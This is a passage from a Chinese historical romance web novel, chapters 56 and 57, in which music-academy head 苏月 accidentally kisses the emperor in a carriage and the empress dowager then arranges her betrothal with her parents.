隔了一会儿,皇帝也从院里出来了,见了众人自嘲地说,“酒量不济,昨日喝得多了,有些闹头,将要天亮才睡着。后来起不来,只好让人把官员传到这里来……不曾打搅大家吧?” 对于这种明知故问,谁又敢老实地点头。辜祈年说:“没有没有,宅子刚入住,还恐阳气不足呢。这样才好,陛下与诸位大人给这宅邸壮了声势,不愁住着吉屋,运道不蒸蒸日上。”边说边比手,“陛下移驾花厅吧,卑下命人预备下了饭食,这会儿已经到饭点了。” 皇帝也不推辞,进了花厅和辜家人围坐,笑着说:“朕在宫中,一应起居都太讲章程,帝王的威严是有了,却短了人间烟火气。所以朕爱上这里走走,没拿自己当外人,但又怕大家忌惮朕,弄得吃饭都不自在。” 辜家人嘴上自然一千一万个乐意,“能款待陛下,这是多大的荣耀,别人求都求不来,咱们怎么能如此不识抬举。只要陛下喜欢,只管常来,爱吃什么菜也只管说,家里有姑苏带来的厨子,可以请陛下回味姑苏风味。” 皇帝听后很欢喜,偏头看了苏月一眼,“朕也想常来啊,就怕娘子不答应。” 苏月正吃她的鱼鲊,猛听见点了自己的名,不得不抬起头来。 还能说什么?说你烦人得很,我确实一点不想带你回家?但作为一个好臣子,她得表现得忠君事主,便放下筷子微笑答话,“家君和家母都应准了,臣无不从命。陛下若想吃民间的饭食了,就请莅临寒舍,宴席会有的,屋子也是现成的,只要陛下高兴就好。” 皇帝心满意足了,含笑道:“辜翁一家待人至诚,让朕有宾至如归之感。” 苏月嘴角抽了抽,已经完全被他的厚脸皮打败了。看来以后想摆脱他更难了,到时候吵着闹着是你家大人让朕驾临的,可不是连一句反驳的话都没有了吗。 唉,皇权倾轧,蝼蚁生计艰难。苏月低头扒了口饭,又郁塞地喝了两碗汤。 等到酒足饭饱,撤下饭菜再上清茶,阿爹把他珍藏的雨前龙井拿出来招待他,茶局散后皇帝才恋恋不舍站起来,表示自己该回宫了。 “辜大人,梨园不能没人坐镇。”他和风细雨地说,“回去么?正好送朕一程。” 苏月说是,偏头让人预备车马。 皇帝虽是武将出身,又政务如山,但在他愿意用心的地方,真可谓细致入微。临要走的时候,在苏云面前顿住了脚,和声对她说:“这几日先筹备筹备,霜降那天梨园在含嘉城有考核,到时候去试试身手。只要能通过,朕的委任状马上就到,不用担心你阿姐不提拔你,有朕在,一切都不算事,知道么?” 苏云呆呆点头,实在想不到,那个曾经如此不入阿爹眼的权家大郎,竟是个这样的翩翩君子。 在她感激的目光里,皇帝与苏月出门了,他们前脚刚走,后脚苏云就唏嘘,“大姑父不过是个府尹,眼睛就长在头顶上,陛下可是皇帝啊,居然如此和蔼可亲。”忙去问爹娘,“阿姐什么时候嫁给他?我觉得这门亲事很好,什么都别说了,我赞成。” 辜祈年夫妇对望了望,人心果然容易收买,别说苏云了,现在全家还有哪个不同意这门婚事? 辜夫人问:“你呢?” 辜祈年有些汗颜,“我是生意人,重利。我现在也觉得这门亲事不错,但若要让我家女郎做妾……恕难苟同。” 作为一家之主,还是讲原则的。 那厢坐在马车里的人还在长吁短叹,路才走了一半,听他叹了五六次,苏月到底忍不住了,“有话就直说,您这么叹,车顶棚都快掀翻了。” 皇帝幽怨地剜了她一眼,“朕昨晚想去见你,一路上遇见了你大兄、二兄、三兄。你家上下都对朕心存防备,令堂将朕的院子安排得离你十万八千里,难道是怕朕图谋不轨吗?” 苏月说没有的事,“您不往歪处想,一点毛病也没有,可您要是当真图谋不轨,就一定觉得自己被针对了。”说着笑了笑,“别往心里去。” 他觉得自己百口莫辩,“朕不过想去看看你,怎么就图谋不轨了?” 苏月心道留你脸面,你还偏豁出去了,便转过身子正色望着他道:“咱们是一同吃的饭,才分开一小会儿您又要见臣,半夜三更,您见我要干嘛?” 皇帝支吾了下,倒也理直气壮,“朕跟你回家,就是想多看你两眼,这有什么想不明白的?朕是坦荡的君子,你细想想,几次夜访你,何时有过出格的行径,何时让你为难过吗?” 这个倒真没有,他还知道逗留得太久对她名声不好,每每说完了话,就自发告辞了。可以前是这样,现在很难说,毕竟人的心境是会随时间转变的。 苏月也有一股执拗的劲儿,把脸往前递了递,“您既然如此想看臣,那您就看吧。我每日长得一模一样,又不是一天一个嘴脸,总看不觉得腻味吗?” 她把脸杵得太近,黑白分明的眼眸笔直地望着他,害他有些心慌,难堪地往后仰了仰,“好了好了,朕看完了,你坐好吧。” 可她却不依不饶,“再多看两眼吧,看个够,过了这个村,可就没这个店了。” 他的后脑勺已经抵在车围子上,再也无法后退了。避让不是帝王的风格,勉力定住心神道:“你别逼朕看,朕看……你的脸好大。” 她错牙笑着,“越大看得越明白,记得越清楚。陛下,除了脸大,还有别的吗?” 皇帝的心已经快要沸腾了,她真的一点忧患意识也没有,不拿他当男人吗? 他的十指紧紧扣住了身下的坐垫,扣得甲盖泛白,那身形也摇摇欲坠,艰难地逸出四个字,“还很……好看。” 苏月说:“我知道自己好看,陛下贪图我的美色,所以每日都想见我。” “也不能这么说……”他已经能感觉到她的气息拂在他唇瓣上,躲不开,避不掉,耳中嗡鸣,心跳如雷……他觉得自己几乎要昏过去了,她竟还如此猖狂,得理不饶人。 “辜大人……辜大娘子,你坐回去吧,朕要喘不上来气了。” 不知为什么,苏月觉得他惊慌失措的样子很有趣。看惯了他的高高在上不可一世,偶尔一副弱小的姿态示人,竟还有些惹人怜爱呢。 “臣也没堵住您的口鼻啊,怎么就喘不上气了。”她还在笑,笑容里全是促狭和嚣张。 结果话刚说完,马车忽然颠簸了下,她那个半站着探身的姿势无处借力,猛地往前一磕,嘴不偏不倚和他撞上了。甚至在她发懵的当口,恍惚听见他一声闷哼,那声音充满奇幻诡谲的味道,带着点痛苦,又带着点销魂…… 等她回过神来收回嘴,才发现自己手下多了个物件,原来慌乱中的一撑,摁在他腿根上了。 第 56 章 五雷轰顶, 心想这下可完了,玷污了人家的贞洁,怕是要彻底对他负责了。 悚然缩手, 这回喘不上来气的人变成了她。她撤后身子,惊恐地观察他的神情,他仰头靠着车围, 依旧保持原来的姿势,裸露在领外的脖颈白洁修长, 喉结轻轻地蠕动, 连眼神都不灵活了。 “陛…… 陛下……”她颤声说, “误会……巧合, 纯属巧合……臣不是有心的。” 他极慢地、极慢地调整了姿势,一副被人凌辱后灰心欲死的模样,苦笑道:“朕还有什么可说的?古往今来,有哪个臣子敢对皇帝这样!” 苏月这时候真的后悔极了,她不应该得寸进尺, 导致乐极生悲。自己是脑子出了问题吗,居然想倒反天罡, 想看他手足无措的样子。这下玩得过了头, 嘴亲上了, 手也去了不该去的地方…… 她已经不太敢回想了, 脑子里充斥着一个声音, 这是一场噩梦, 都是假的,忘了!快忘了吧! 可那个受害者,以一种近乎崩溃的神情望着她,让她觉得自己罪孽深重。光靠自我开解是没有用的, 并且该被抚慰的不是自己,而是他。 “你是男子,没关系的。”她也不知道这话究竟是在安抚他,还是在为自己脱罪,总之她厚颜说,“男子胸襟要开阔,就当一切没有发生过……好吧?” 皇帝沉默着,就那么看着她,无言的抗争,想让她回头再想想,自己说的都是什么鬼话。 苏月彻底败下阵来,“谁也没想到会变成这样……我是女郎,照理来说吃亏的是我……” “你还吃亏了?”皇帝惨然道,“是朕让你亲朕,是朕让你摸……” 吓得苏月慌忙捂住他的嘴,“别说了,隔墙有耳,不宜宣扬啊陛下。” 这个时候居然还在顾及面子,真是个虚伪的人。 皇帝忍了忍,到底没忍住,扒下她的手问;“你还敢捂朕的嘴?你到底打算怎么办?这件事就这么算了?” 苏月摊了摊手,“已经发生了,后悔来不及了。” 她一副破罐子破摔的样子,让他气愤不已,“你竟还这样,难道你不觉得羞惭,没想过要赎罪吗?” 苏月当然羞惭,羞惭之外也觉得很伤心,女郎的头一次亲嘴,就这么不明不白没有了。她甚至还没有品咂出滋味,在震惊和恐慌中草草了事,只隐约记得对方的嘴很软,并没有她想象中那么硬。 而皇帝呢,说不清自己现在到底是怎样一种复杂的心情。 尊严所剩无几了,在他还没有作好准备采取主动的时候,先被她强吻了。吻了也就算了,她还对他的不便之处进行了侵袭,虽然不是故意的,但来势汹汹,丝毫没有给他避让的机会。他当时正应付她的嘴,谁能想到一个疏忽成了她的掌中之物……他很为当时的状态感到羞愧,原来他是个没什么定力的人,在她把脸送到他面前,强迫他看的时候,他就已经骇变了。 吓着她了吗?看她的表情晦涩难言,应当正在纳闷吧! 千万不要讨论,让他留点脸,求求了。但转念又一想,可以不必对事情的本质过多涉及,但由此引发的恶果,还是不能忽视的。 然而思绪混乱,女郎香软的唇瓣再次突出重围,覆盖住了他的一切念想。他与她曾经近距离接触过几次,每次都是止乎礼,从没有过亲密的行径。可就在刚才,她主动亲了他,一切来得那么突然,又那么令人狂喜。唯一遗憾是时间维持太短,如果能再长一些,那该多好…… 视线轻颤,他忍不住又朝她望过去,不知是不是眼神过于炽热,她居然戒备地挡住了自己的下半张脸。 “不许乱看,也不许瞎想!”她恫吓了两句,从荷包里摸出一枚铜钱塞进他的手里,“以此作为了断,这事两清,就这么说定了。” 可他并不接受,头一次觉得不是什么都能用铜钱来结算的,把钱重又塞回了她手里,“这事没完。” 苏月头疼起来,“那你想怎么样,总不能让我还回去吧!” 这话说完,彼此都红了脸。这段时间已经混得很熟的两个人,忽然觉得又被强行拉开了距离,一切变得玄之又玄。明明想靠近,却有无形的高墙横亘在彼此之间,本该突飞猛进的感情,也因这场意外陡然停滞了。 苏月觑了觑他,犹豫着仍旧把铜钱放进了他手里,“我对不起你,这钱你先收着,以后的事以后再说,行吗?” 就像一个闯了大祸的男人,对一切无能为力,只剩口头上的承诺。眼神坚毅地表示自己不会赖账,暂时只是赊一赊,以后再一并偿还。 皇帝低头看看手里的铜钱,自己的第一次,就这么被她用一枚铜钱买断了,多少有些过分便宜了。但还能怎么办呢,他想亲回来,可又不敢说出口,无可奈何下只能接受她的建议。心想再忍一忍吧,等到十枚铜钱集满,一切便不由她说了算了。 后来一路无话,巨大的尴尬碾压着两人,在沉默中回到了圆璧城。皇帝陛下甚至没有要求走她的专属通道,让马车把她送到方诸门上,自己老实地返回丽景门了。 苏月在方诸门前呆站着,目送马车去远,在无边的悔恨里,怏怏回到了官舍。 不能让自己闲下来,得努力找些事做,忙起来就能把先前发生的事抛到了脑后了。如果偶尔想起,那就尽力麻痹自己,劝说自己这不算什么大事,都是成年的男女,不小心出点差池,实在正常得很。 然而心里这关还是难过,她夜里居然梦见了皇帝,见他握着拳把手送到她面前,在她的满心疑惑下展开五指,得意地对她说:“六枚了,辜娘子,你准备好了吗?” 她当时满心戒备,总觉得自己站在悬崖边上,差一点就要掉下去了。这十枚铜钱凑满后要兑现的承诺,必定比醒时的自欺欺人要刁钻得多。 梦里她终于壮起胆问:“有朝一日十枚集满,你要我做什么?” 皇帝高深地笑了笑,“也没什么,朕要你当着满朝文武的面,求朕娶你。” 简直是噩耗,一下子把她吓醒了。醒后心里还在扑腾,后怕地想,这事他真干得出来,不会一梦成真吧! 抬手抹了抹,一脑门子冷汗,吓得好一会儿才又睡着。后来睡得也不安稳,第二天起来头昏脑胀,忙于处置手上的差事,险些连爹娘要入掖庭的事都忘了。 好在猛然记起来,赶紧看更漏,刚到辰时,这会儿人应当已经候在宫门上了。今天前朝有朝会,皇帝赶不回来,能不见当然最好别见,出了昨天的乱子,现在心虚的劲儿还没过,她实在需要冷静冷静,再考虑以后拿什么面目面对他。 把亟待解决的事交代了太乐令,她匆匆赶往西太阳门,刚到那里就遇上掖庭内侍出来接应,看见她热络地招呼:“赶巧,娘子也来了?” 苏月拱拱手,携爹娘一同前往安福宫。阿爹和阿娘是头一回入禁中,紫微城高大的建筑远观已觉宏伟,身处其中更会感受到巨大的压迫感。 他们有些拘谨,愈发觉得今天太后必定来者不善。进了安福殿正殿,恰好见一位女官捧着香盒走过,错眼见了苏月,恭敬地向她行了一礼,然后转头通传里间:“姆姆,辜娘子来了。” 辜家三人朝着东偏殿的方向叉手静待,不一会儿就见殿内走出三个人来。苏月起先一惊,以为皇帝也来了,但定睛一看却是齐王。他穿一身影青的衣裳,人还是淡淡地,如松烟入墨。见到她,脸上带着轻浅的笑,微微颔首致意。八月十五的大宴他没有参加,想来是身上不豫吧,今天再见好像仍有几分羸弱,但并不让人觉得病气森森,反倒没有侵略性,恬淡如一汪春水般。 好精致的人儿啊,虽然不合时宜,苏月脑子里还是冒出这么个词儿来。没有别的想法,仅仅只是叹服,他与他那戳气的阿兄,为什么会有如此天壤之别。 太后呢,不像上回苏月进安福宫,特意给下马威。孩子可以戏弄戏弄,两家大人见面须得很正式,很庄重。笑着说上两句温存的话,“员外与夫人节前就到上都了,可惜宫中有大宴,抽不出时间来相见。因此节后匆匆命人过府相邀,不知是否冒昧,还望员外与夫人不要见怪。” 辜祈年与夫人受宠若惊,没想到境遇比他们来前设想得好太多,好得仿佛之前从来没有龃龉,好得就如两家会亲,要商定婚事一般。 忙深深行礼,辜祈年说:“不敢不敢,原本该是我们进宫拜见太后的,但因初到上都,不知怎么通禀,居然延捱到了太后召见我们。” 场面上的话来去,这是必须的流程。太后比手招呼大家落座,一面询问辜夫人:“才到上都,一切都习惯么?若有为难的地方只管说,我让底下人承办。” 辜夫人俯首道:“多谢太后,我们一家得您与陛下照应,一切都是现成的,比在姑苏时候更齐全,岂有为难之处啊。只是合族这一来,实在让朝廷破费了,草芥一般的商户,何以敢当贵人们如此恩待……”说着便要起身行礼,被太后阻拦了。 太后意在交好,万分亲热地牵住了辜夫人的手,温和道:“且不说身份地位,咱们同是姑苏人。早前两家虽不是街坊,却也住得甚近,我每常上十泉里去,都要经过你家府门前。莫说咱们亲近,就算是寻常的同乡来了,不也得照应么。夫人别说这么见外的话,否则往后倒不好处了,你说是不是?” 天爷,三言两语间绑定了两家的关系,简直与皇帝在朝堂上化解言官弹劾的手段如出一辙。 苏月没敢吭声,而辜家夫妇则有些尴尬,又是亲近,又是不见外,真可谓太后肚里能撑船。为了儿子的婚事,以前曾经再不受用,如今也当没有发生过,可怜天下父母心啊。 辜夫人最是知情识趣,谦卑地说是,“太后这心田,让卑下不知说什么好。陛下大放恩典,我们一家上下连要致谢,都无从谢起了。” 太后笑道:“谢什么,当初权家的族亲纷纷迁往上都,不也是朝廷给与优恤安排的吗。咱们诚如自家人一样,陛下与你们也不生分。听说十五留宿在贵府上了?难怪第二日二郎进来,邀他上我这里用饭,宫人竟说他昨夜起就不在宫中了。” 太后是随口一说,但这一随口,不知不觉中就坐实了两家牵扯不清的关系。 反正她也不着急,因为知道今天的事必成无疑。既说起二郎,不免要引荐引荐,比了比身边人道:“这是我的幼子,陛下封了齐王,不过一向不太出门,你们想是没有见过。” 两下里站起身互相行礼,齐王对太后道:“那日在代侯府上,我曾有幸见过辜娘子。听说中秋大宴,梨园的曲目精彩异常,可惜我没有眼福,遗憾得很呢。” 太后笑呵呵说:“不碍的,中秋过后还有立冬,还有正旦,有的是机会观演,不急在一时。”嘴上说着,心里顶关切的是立春,便试探着问苏月,“陛下可与你说过立春的安排?” 苏月想起他确实含含糊糊提过,但具体是什么安排,却并未向她透露。 “陛下说与您有个立春之约,可臣问他,他又说不足为外人道。” 太后大呼倒灶,这儿子过于没出息,比他父亲更胆小。但凡他拿出平定天下的一成功力出来,媳妇早就有了,连孩子都该有了。可他却好,还在不急不慢地周旋,不知究竟有什么可磨蹭的。你要说他脸皮薄,他也知道赖在人家家里不走,实则脑子半点不笨,就是嘴笨。你若说他脸皮厚,他对待喜欢的女郎那种瞻前顾后,真是狗见了都摇头。 太后觉得这件事不能这么耗下去了,再耗天该冷了。儿子不中用,还是得为娘的出马,辜家夫妇既然来了,今日就索性把话说破吧! 于是太后直言不讳,对辜家夫妇道:“别瞧我们陛下英雄盖世,遇上了女郎,半点也不会说话。但他愿意办实事,他若对你好,光顾着掏心挖肺,有时候这种性子吃亏得很,因不善言辞,难以赢得女郎的芳心。员外,夫人,四年前咱们家曾向贵府上提亲,贵府上没有给我们再争取的机会,说实话,我很有些伤心。对于女郎,我是打心底里喜欢,不怕你们笑话,当初明知亲事不成了,我也还是远远看女郎在府门前舍米舍面,心里不知多懊丧。贵府上有贵府上的考虑,兵荒马乱舍不得女郎外嫁是人之常情,可如今天下太平了,又男未婚女未嫁,我想再问一句,我家大郎可还有机会向贵府上提亲?” 其实早就知道今日召见,太后是怀着怎样的目的,但话真正说出口,还是很令辜家人惊愕。 没有皇权威逼,也不是居高临下的发号施令,太后依旧以平等虔诚的态度来商讨儿女的婚事,倒弄得辜家夫妇十分惭愧了。 辜祈年讪讪道:“卑下当年有眼无珠,心中一直惴惴不安。今日太后说这番话,愈发显得卑下鼠目寸光了。” 辜夫人望了望丈夫,在得到他肯定的眼神后,方才对太后剖心,“卑下也与太后说句实话吧,我家虽是世代经商,但并非贪慕权贵的门第,家中孩子都是我们心头的肉,从来没有想过让她们登梯上高,去够不该够的果子。上年陛下御宇,我们心中惶恐,但也并未后悔把女郎留在身边。后来她被强征进梨园,我们有怨言,也曾深深感慨过世道艰难,然到如今才明白,这是孩子命中注定的际遇,她终究是要离开爹娘的。陛下丰厚的赏赐,让我们日夜难安,总觉受之有愧。今日又蒙太后召见,您这一番肺腑之言,叫我们何以克当啊。” 太后拍了拍辜夫人的手,笑着说:“咱们都是实诚人,不拐弯抹角说事,心思敞亮。陛下对娘子的偏爱有目共睹,他一步一步为娘子垒好了基石,还请员外及夫人看见他的良苦用心。” 辜祈年点头不迭,“看得见,卑下等都看得清清楚楚。太后今日特意召见我们,着实是抬举了,这事只需吩咐一声而已,哪里用得着亲自费心。” 所以说辜祈年到底是生意场上的积年,他不会明打明地追问,是要让苏月当皇后还是当妃嫔。话语间以退为进,就是在逼太后表态,会给苏月一个什么样的名分。 太后心里自然明白,笑道:“规规矩矩地聘正妻,岂是吩咐一声能了事的,就算我答应,朝中那些掌管着宗族事务的官员们也不能答应。我与陛下早就商定了,四年前是如此,四年后依然如此。我们是实心要结亲的,也用不着媒人牵线搭桥了,就由我厚着脸皮亲自与员外夫人说吧。”言罢又望向苏月,“娘子的意思呢?你在我眼中,可不是一般的女郎啊,父母之命固然要遵,但你自己的想法也尤为重要。” 苏月听他们说了半天,脑子里一直嗡嗡作响。现在太后点了她的名,敷衍是敷衍不过去的,只是一时有些彷徨,难道这朱砂痣要当不成了? 细想权大这个人……她又不是铁石心肠,当然知道他的好,就算他嘴欠,她也觉得可以包涵。嫁给他,早就是板上钉钉的事了,自己假装挣扎两下而已,说认命也已经认命了,总比盲婚哑嫁强。 可是梨园怎么办?那么大的梨园,她好不容易和大家一起支撑起来的梨园,还没真正做出成绩,就不让她干了吗? 她迟迟望了望太后,太后和齐王都看着她,让她脸颊隐隐发烫。 定神一思量,自己也不是扭捏的小女郎,现在正是能说话的时候,若是放弃了,就只剩等着宫里来抬人了。 于是下了决心,起身向太后长揖下去,“臣与陛下常来常往,虽没有说破,但臣心里知道,将来必要依附陛下的。若得阿爹阿娘应允,臣愿与陛下共偕白首,只是目前臣的心思全在梨园,恐怕不能立时放下一切待嫁。请太后与陛下再行商议,臣若想延后婚期,不知能否有回旋的余地?若不能,就请陛下再觅佳偶,臣尽心为陛下打理梨园,以此回报陛下的恩德吧。” 第 57 章 太后觉得有点泄气, 答应嫁了,但婚期得延后,那么立春之约难以实行, 而她实现抱孙的愿望,又变得遥遥无期了。 太后甚是苦恼,试着再向她打探, “婚期安排在明年春,你看行不行?还有半年时间, 这半年你物色好信得过的接班人, 就算你身居掖庭, 也能让梨园照着你的规划更加完善, 这样不是一举两得么,你说呢?” 与太后讨价还价,实在需要莫大的勇气,就算人家看重你,你若是恃宠而骄, 也极易触发对方的不满。但这也不是她非要拿乔,实在是相较于婚姻, 她觉得自己的志向和愿景更为重要。她要亲手改变梨园, 要看着梨园一点点壮大, 就像种下一株苗, 她要亲手浇水, 亲眼看它开花, 而不是坐在深深的宫殿里,等着外面的人来向她描述,这花开成了什么样,是红色的还是紫色的。 说得太强硬, 唯恐伤了太后的心,她想了想问:“臣婚后,还能走出掖庭去圆璧城吗?还能见那些乐工和舞伎吗?若是能,一切听凭太后安排,臣无不从命。” 这下太后为难了,“一国之母,势必要坐镇中宫,统管掖庭。就算没有梨园的公务可操持,掖庭中大大小小的事也不少,照旧会让你忙得闲不下来的。” 苏月笑了笑,“掖庭是过日子,振兴梨园是功在社稷的大事。臣有野心,想把那个没人看好的衙门,变成天下乐师的乐土,把我们大梁的音声传播到外邦去,传播到西域去。” 太后听她说完,眼神透出一股怆然,心道真是天造地设的一双,都是有追求的人,都有宁折不弯的脊梁。 辜家夫妇心下则有些担忧,这些当权者与你协商前很有耐心,你要是不能如她的愿,还能对你有好脸色吗? 思及此,辜家夫妇也站了起来,却咬紧牙关没去制止女儿。苏月自小就有主意,作为爹娘,他们不想因一场婚姻,把她变成第二个唯唯诺诺的大姑母。 太后看他们一家三口都站着,实在感到头大,明明一切说得好好的,怎么就是婚期定不下来呢。 就不能给大郎一个名分吗?太后悲哀地想,为了这个名分,愁煞他们母子了。 如果气性强些,一跺脚说这媳妇不要也罢,当下是可以痛快痛快,但痛快过后呢?皇帝他不是不长进吗! 所以这事还得再行协商,太后压了压手,“怎么都站着?唉呀,坐下坐下。婚期的事儿,回头让陛下再与你商议,你们俩拟定一个好时节,到时候让司天台的人再排算日子就行了。我想着,要不咱们遵民间的习俗,先把五礼过了吧,这么也算有凭有据,”转头问辜夫人,“夫人的意思呢?” 辜夫人当然要做和事佬,赶忙点头附和,“太后说得很是,毕竟年纪都不小了,婚事定下了,我们做父母的也了了一桩心事。” 太后抚掌,“那就这么说定了,人的想法应时而变,说不定过两日自己想通了,也未可知啊。”语毕竟把自己也劝动了,一切好像又豁然开朗了。 “对对对。”辜祈年悬着的心终于落下来,见太后没有动怒,暗自庆幸不已,一面拿眼神示意苏月见好就收,别再有什么异议了。 总算婚事敲定,还不是用威逼利诱,完全是两家心平气和商谈的结果。太后觉得四年前自己丢失的面子寻回来了,亲家对她没有怨言,也不会在背后指摘她。越想越高兴,看看苏月,人家养到这么大的女郎,终于是自己家的了,忙拉过来好生在怀里抱了一下,欣慰道:“我惦记了那么久的女郎,可算要做我家媳妇了。” 与其说这门婚事是皇帝一往情深的回报,莫如说是太后从未打消的执念。她就是这么奇怪的人,途经人家门前一眼相中,就算排除万难也要把人娶到手。这下儿子欢喜,自己也欢喜,至于究竟什么时候能举行大婚仪式,这个放到后头再议,当下先高兴够了再想其他。 殿里的人纷纷祝贺,傅姆笑着拱手,“恭喜太后,心里总念着辜家女郎,今日总算圆满了,可要高兴坏了。” 太后说可不是,这才想起自己这头商量妥当了,最要紧的人还蒙在鼓里呢。 忙吩咐范骁:“快差人到乾阳殿看看去,前头的朝会散了没有。若陛下没在召见臣僚,把他请到这儿来。” 范骁应是,也不用差遣旁人了,自己撒丫子就往外朝跑。 先前太后预备向辜家夫妇提婚事时,齐王就借故出去了,等到这会儿才又进殿,一进门就听到太后告诉他好消息,说亲事定准了,等到过完礼,就是一家人了。 齐王郑重向苏月作了一揖,“上回还曾遗憾,差一点就该称呼娘子为阿嫂,如今这事定下了,先恭贺娘子吧!” 苏月欠身还了一礼,太后喜气洋洋地,只待皇帝来,告诉他这个好消息。 结果不赶巧,范骁回来禀报,说朝会已然结束了,但司天监的地动仪出了异象,西南方金龙衔着的金球掉进□□嘴里了。消息禀报到陛下面前,陛下责令尚书省严阵以待,预备好了随时赶赴西南的巡查使,自己又上司天监亲自查看去了。 所以做皇帝辛苦,每天有各种政务排着队等他处置,可不像大戏里唱的那样,有事俱本上奏,无事卷帘退朝。 辜家夫妇见状向太后揖手,“既然陛下正忙公务,卑下等就先告退了。家中还要预备预备,过礼不是小事,族中的亲戚都要知会起来,若太后定准了好日子,打发人来吩咐一声就是了。” 太后也不强留,一面说好,一面让人把预备好的赏赐搬出来,送去辜家的马车里。自己则亲自送下台阶,客套话说了许许多,笑道:“我是等不及了,今日就让人排算日子,若是赶得及,这个月便过礼吧。” 辜家夫妇无不从命,再三行过礼,仍旧从西太阳门退出了掖庭。 这一路上,辜夫人总在观察苏月的神色,好容易等到边上没人了,悄悄问她:“你先前应下,可是自愿的?” 爹娘总担心她受委屈,担心她畏惧强权,不得不低头认命。连阿爹都忧心忡忡地,仿佛她只要露出一点难色,一家人就准备好和她一起愁云惨雾了。 苏月见他们这样,反倒笑起来,“我岂是那种委曲求全的人啊,如果心里厌恶他,绝不会松口答应的。其实我来上都大半年,见识了不少男子,相较于他们,权家大郎居然是其中最好的。说出来怕阿爹和阿娘不信,他除了不太会讨女郎欢心,余下不管品行也好,胸襟也好,谋略也好,都是上上乘。” 她寻常可不怎么爱夸人,能把那人夸得像花,可见是真的不为难。 辜祈年松了口气,“我总是担心,怕你因咱家得了人家太多,还不清了,才甘愿自己填这个窟窿的。” 苏月在爹娘面前并不搪塞,坦然道:“起先我也觉得无以为报,可后来想明白了,我往后可得每天面对他那张脸,作为对我的补偿,善待我的家人,不是应该的吗。” 辜夫人的担忧到这时才彻底化解,牵住苏月的手问:“你可喜欢他?阿娘还是盼着你能嫁一个自己真心喜欢的,不因这样那样的骑虎难下,将就一辈子。” 苏月想了想道:“好像有些许喜欢,但相处日久,感情慢慢积累,说不定将来我会很喜欢他呢。” 辜夫人终于舒展开了眉,打趣和丈夫抱怨:“这孩子,说起话来半点没有女郎的矜持,可是学坏了?” 辜祈年眼中的女儿,反正就是万般都好,“这叫爽朗,你不懂。梨园那么多的人,她要在里头办事,可不得有话直说吗。弯弯绕绕的,底下人费思量,耽误多少工夫!况且是同爹娘交底,扭捏作态,不是我们辜家女郎的风范。” 阿爹把一切替她辩解得明明白白,苏月就不用反思,究竟是不是与权大斗嘴太多的缘故了。 爹娘今日的一场觐见,把她的终身大事定下了,其实定下也好,就像浮萍有了根,她既然没有打定主意终身不嫁,权家大郎还是个很不错的选择。这人嘴坏些,心肠却很好,心思也细腻,与他相处这么久,从来不觉得厌倦。刚才商定婚事的时候她也思量,为什么心里还有些犹豫……大概是犹豫他的身份,将来的掖庭会扩充起来,到时候色衰而爱弛,连想找他斗嘴,他恐怕也不耐烦应付你。 这就是婚姻的未卜之处,民间夫妻有没有第三人或许还可商讨,帝后之间中途加入的人,必会随着时间推移越来越多。就好比两片琉璃,紧贴在一起时可以肝胆相照,中间隔上一层纱,朦胧些,再隔上一层,影影绰绰。当纱越来越厚,就再也看不见对方了,天长日久,记忆模糊,那个人也就彻底消失了。 唉,所以她还是怕啊。想得太多不好,但又怎么能去不想,辜娘子偶尔也是个多愁善感的小女郎。 忧愁不能吐露,也不想给爹娘招来烦恼,但阿爹总与她步调一致,她没开口,阿爹倒发愁了,“聘了皇后,后头就大开方便之门了吧,上都许多名门望族,都等着往宫里送人呢。” 辜夫人见势不妙,忙打断了他,“杞人忧天,你就是这样毛病,又来了!” 辜祈年觉得很冤枉,“我哪次忧错了,你倒是……” 话没说完,就被强行拽走了,辜夫人嘟囔道:“别啰嗦了,快回去吧。回家预备预备,明日苏意出阁,早就下了帖子请你,你好意思光去吃席,不提前搭把手?” 夫妇俩坐进车舆内,临走打起窗帘问:“明日三叔府上的婚宴,你去是不去?” 苏月说不去,“我都把人家新郎官打了,人家心里不知怎么怨我呢,我还去干什么,会招人白眼的。” 对于好了伤疤忘了疼的人,转过头来反咬你一口是常事。她不想去,爹娘也不逼她,辜夫人道:“我替你致个歉吧,就说你公务忙,抽不出空来。三郎家要是阴阳怪气,我也不在那儿呆,立时就回家。” 后来又吩咐了两句,辜家夫妇才离开。苏月回到梨园,没头没脑的事务太多,要开始筹备立冬的祭祀大乐了。乐府送来三首新谱的曲子,大家聚在一起,让银台院的乐工们试奏。曲子自然都是好曲,不过有零星地方需要改调,意见是可以提的,但得在谱曲人同意的情况下进行。因此那两首先退回去,剩下那曲却是起承转合,细致入微,仔细一问,才知道是青崖的手笔。 说起青崖,颜在不免要追问,“近来怎么没见嬴大人?往常都是他送乐谱,这两回却没再见到他。” 乐丞说:“嬴大人近来身体很不好,昨日还咳血了。手上的差事办不了,托付我替了他。”说着又去问载谱的文书,“都抄录下来了吗?若没有旁的吩咐,我这就回去了,让乐匠修改妥当了再送来。” 乐府的人走了,颜在惴惴难安,问苏月:“你听见了吗,他说青崖病了,咳血了……那可怎么办?他家里一个人都没有,只剩他自己,病了也无人照顾,我实在放心不下。” 对于青崖,苏月自然极为同情,略思忖了下道:“你若不放心,就去看看吧。我今日还有事要忙,恐怕不能陪你,明日行吗?明日我把事情都安排好,一早就同你去乐府。” 颜在却有些等不及,心焦道:“这种病症,怕是夜里发作得更厉害。今日我先去,你且忙你的,不用惦记那边。等我回来再把情况告知你,若是需要好的大夫,恐怕又要麻烦你,去向陛下借位御医。” 苏月说好,也实在是撂不下手上的差事,便让太乐丞取了出门的牌子交给颜在,“有什么需要,打发人回来传话。” 颜在点了点头,急急出门去了,苏月便把这件事抛下了。 临近年尾,梨园确实太忙,下月除了冬至祭祀,还有外邦派遣的乐人来大梁交流声乐。这种机会对梨园来说很要紧,势必得拿出看家的本事,展现中原大国的风范。定曲、筛选人员,苏月忙到很晚才回官舍,一路上只觉头重脚轻,两眼发花,只想快些倒在床上睡死过去,明日的事明日再说吧。 可走到官舍门前,冒出一股不祥的预感,忽然觉得一切没那么简单,门内不会有人正等着她吧! 伸出一根指头小心翼翼推门,门吱扭一声开了,里面黑洞洞地,就着月光看,从桌前到床上,幸好空空如也。 她犹不放心,走到衣柜前打开门,左左右右仔细搜寻了一遍。看完觉得自己有点好笑,边合门边自言自语:“又不是灰尘,怎么能藏在里头找不到……” 结果话音方落,身后一个声音响起,“你莫不是在找朕?” 苏月吓得惊叫,毛发都竖起来,没头没脑捶了他好几下,“忽然蹦出来,要吓死我吗!” 他挨了打,揉揉胸口,嘴里嘟囔着:“脚步声那么大都没听见,可见你脑子里想的全是朕。结果朕来了,你又不高兴,女郎都像你这么奇怪吗?” 